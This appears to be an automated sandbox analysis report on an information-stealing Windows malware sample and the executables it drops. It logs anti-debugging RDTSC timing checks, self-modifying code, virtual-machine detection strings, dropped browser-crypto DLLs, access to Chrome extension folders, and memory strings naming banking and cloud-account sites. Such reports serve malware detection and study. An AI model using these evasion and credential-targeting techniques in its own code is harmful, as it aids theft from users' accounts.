Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8AEE0B second address: 8AEE0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8ADEE1 second address: 8ADEE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B2B24 second address: 8B2B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jne 00007FB8192482D6h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B2B30 second address: 8B2B43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 872B92 second address: 872B9C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB8192482D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 872B9C second address: 872BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edi 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 872BAE second address: 872BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 872BB7 second address: 872BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FB818D70DC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 872BC3 second address: 872BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B6621 second address: 8B6673 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jp 00007FB818D70DC6h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007FB818D70DD7h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB818D70DCCh 0x00000021 jmp 00007FB818D70DD8h 0x00000026 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B6673 second address: 8B6693 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FB8192482E7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B695E second address: 8B6991 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007FB818D70DC6h 0x00000010 jmp 00007FB818D70DD5h 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B6E3C second address: 8B6E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B70D2 second address: 8B70DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B70DB second address: 8B70DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B70DF second address: 8B70E9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB818D70DC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B70E9 second address: 8B70EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B98DE second address: 8B98E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B9D1B second address: 8B9D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8B9D1F second address: 8B9D25 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BA422 second address: 8BA42D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FB8192482D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BA4C1 second address: 8BA509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB818D70DC6h 0x0000000a popad 0x0000000b jmp 00007FB818D70DD6h 0x00000010 popad 0x00000011 mov dword ptr [esp], ebx 0x00000014 mov di, 0B25h 0x00000018 mov dword ptr [ebp+122D27C3h], ebx 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FB818D70DD6h 0x00000026 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BA919 second address: 8BA91E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BA91E second address: 8BA931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB818D70DC6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BA931 second address: 8BA935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BB01B second address: 8BB042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818D70DD0h 0x00000009 popad 0x0000000a jmp 00007FB818D70DCAh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BB042 second address: 8BB04C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB8192482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BB04C second address: 8BB0BC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB818D70DCCh 0x00000008 jno 00007FB818D70DC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FB818D70DC8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b call 00007FB818D70DCCh 0x00000030 pop edi 0x00000031 push 00000000h 0x00000033 sbb si, E2CAh 0x00000038 push 00000000h 0x0000003a mov si, dx 0x0000003d jmp 00007FB818D70DD1h 0x00000042 xchg eax, ebx 0x00000043 push ecx 0x00000044 push esi 0x00000045 push ecx 0x00000046 pop ecx 0x00000047 pop esi 0x00000048 pop ecx 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jns 00007FB818D70DCCh 0x00000052 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BB0BC second address: 8BB0C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BBA43 second address: 8BBA47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BBA47 second address: 8BBADF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FB8192482D8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov esi, dword ptr [ebp+122D2CA8h] 0x0000002a jmp 00007FB8192482E5h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007FB8192482D8h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000019h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b pushad 0x0000004c mov edi, 48C49E3Bh 0x00000051 stc 0x00000052 popad 0x00000053 push 00000000h 0x00000055 mov edi, dword ptr [ebp+122DB627h] 0x0000005b mov esi, dword ptr [ebp+122D2AFCh] 0x00000061 xchg eax, ebx 0x00000062 je 00007FB8192482DAh 0x00000068 push eax 0x00000069 push eax 0x0000006a pop eax 0x0000006b pop eax 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f jns 00007FB8192482DCh 0x00000075 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BB8CD second address: 8BB8D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BB8D2 second address: 8BB8FA instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB8192482E3h 0x00000008 jmp 00007FB8192482DDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB8192482DEh 0x00000017 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BCB54 second address: 8BCB58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BE036 second address: 8BE03A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8C00E7 second address: 8C0187 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB818D70DCCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FB818D70DC8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 pushad 0x00000026 or edi, 31B75730h 0x0000002c pushad 0x0000002d cld 0x0000002e mov dword ptr [ebp+122D363Ch], ecx 0x00000034 popad 0x00000035 popad 0x00000036 mov edi, dword ptr [ebp+122D18E1h] 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edi 0x00000041 call 00007FB818D70DC8h 0x00000046 pop edi 0x00000047 mov dword ptr [esp+04h], edi 0x0000004b add dword ptr [esp+04h], 00000019h 0x00000053 inc edi 0x00000054 push edi 0x00000055 ret 0x00000056 pop edi 0x00000057 ret 0x00000058 sub di, 3EB5h 0x0000005d push 00000000h 0x0000005f add edi, dword ptr [ebp+122D2D14h] 0x00000065 xchg eax, ebx 0x00000066 jne 00007FB818D70DD2h 0x0000006c push eax 0x0000006d pushad 0x0000006e jmp 00007FB818D70DCBh 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 pop eax 0x00000077 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8C1A82 second address: 8C1A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8C1A86 second address: 8C1ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 adc di, 840Bh 0x0000000d push 00000000h 0x0000000f xor dword ptr [ebp+122D1BE3h], ecx 0x00000015 push 00000000h 0x00000017 mov di, dx 0x0000001a push ecx 0x0000001b jmp 00007FB818D70DD7h 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FB818D70DD2h 0x0000002a rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8C2C31 second address: 8C2C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BC359 second address: 8BC35E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8BC35E second address: 8BC380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB8192482E8h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8C3C9D second address: 8C3CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	RDTSC instruction interceptor: First address: 8C3CA2 second address: 8C3CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 49FBAE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 49FAAA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 643012 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 49FAF1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6CC4E7 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Special instruction interceptor: First address: 6FEC50 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 105EC50 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	Special instruction interceptor: First address: D24883 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsCFIECBFIDG.exe

Code function: 29_2_05090490 rdtsc

29_2_05090490

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 5988	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5988	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 876	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5832	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1216	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3468	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6952	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2544	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2064	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1008	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7244	Thread sleep count: 67 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7244	Thread sleep time: -2010000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7244	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsCFIECBFIDG.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C96C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

1_2_6C96C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: DBFBFBGD.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000020.00000002.3453035583.00000000011F1000.00000040.00000001.01000000.0000000E.sdmp, 26a643af99.exe, 26a643af99.exe, 00000021.00000002.3453285779.0000000000EB3000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: DBFBFBGD.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: DBFBFBGD.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: DBFBFBGD.1.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: DBFBFBGD.1.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: DBFBFBGD.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000001.00000002.2729651276.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2729651276.0000000000F74000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.3454377934.00000000016DA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.3454377934.00000000016AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000001.00000002.2759176656.0000000023503000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: DBFBFBGD.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: DBFBFBGD.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: DBFBFBGD.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: DBFBFBGD.1.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: DBFBFBGD.1.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareUoGo
Source: DBFBFBGD.1.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: DBFBFBGD.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000001.00000002.2759176656.0000000023491000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: DBFBFBGD.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: DBFBFBGD.1.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: skotes.exe, 00000020.00000002.3454377934.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y/
Source: DBFBFBGD.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: DBFBFBGD.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000001.00000002.2759176656.0000000023491000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: DocumentsCFIECBFIDG.exe, 0000001D.00000003.2728865182.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: DBFBFBGD.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: DBFBFBGD.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: DBFBFBGD.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: DBFBFBGD.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: DBFBFBGD.1.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: DBFBFBGD.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 26a643af99.exe, 00000021.00000002.3453285779.0000000000EB3000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: DHgfS
Source: file.exe, 00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DBFBFBGD.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: DBFBFBGD.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: DBFBFBGD.1.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: DBFBFBGD.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: DBFBFBGD.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: DBFBFBGD.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000001.00000002.2728518804.0000000000621000.00000040.00000001.01000000.00000003.sdmp, DocumentsCFIECBFIDG.exe, 0000001D.00000002.2760541318.0000000000891000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001E.00000002.2803041106.00000000011F1000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000020.00000002.3453035583.00000000011F1000.00000040.00000001.01000000.0000000E.sdmp, 26a643af99.exe, 00000021.00000002.3453285779.0000000000EB3000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: DBFBFBGD.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: DBFBFBGD.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

